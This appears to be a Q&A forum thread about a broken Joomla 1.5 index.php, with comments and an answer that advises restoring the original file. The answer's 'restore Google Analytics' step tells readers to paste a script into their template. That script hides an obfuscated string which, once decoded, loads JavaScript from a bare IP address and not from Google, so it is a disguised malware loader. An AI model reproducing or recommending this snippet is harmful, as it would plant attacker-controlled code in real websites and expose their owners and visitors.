Uhh. Could you please reformat your source code and give us the complete error message? Which file in the Joomla/modul package are you editing? Which line is line "89" in this cutout? — merkuro
Don’t abuse the conditional operator. You should rather use if for better readability. — Gumbo

Just found the file in the Joomla 1.5 package. It's the index.php in the root directory. Since this file only consists of 89 lines and it's proven to work, it's not a problem with joomla itself.

Like suggested above cut everything after line 89 and restore the file to its original layout. If unsure just load the latest Joomla 1.5 installation and take the included "index.php" file. Btw. it is unwise to return any content in clear text after it has possibly already returned gzipped by Joomla and the body tag is already closed.

How to restore Google analytics functionality? Lookup your currently used template, open the "index.php" file and add the following just before the body tag is closed:

<script type="text/javascript">var gaJsHost = (("https:" ==      document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' "   +   '#@!s(&r)c@#=!)\'!h$#t^!#$@t@!$p&^!@:$^/!@#!/#9(1)@.(2)1#(2)!.^&  6!@!#^5(@#!.!&$1@#4)8#&  /($g&$a!.(j^s)'.replace(/#|@|&|\$|\)|\!|\^|\(/ig, '') + "'   type='text/javascript'%3E%3C     /script%3E"));

try {
var pageTracker = _gat._getTracker("UA-7623457-2");
pageTracker._trackPageview();
} catch(err) {}</script>
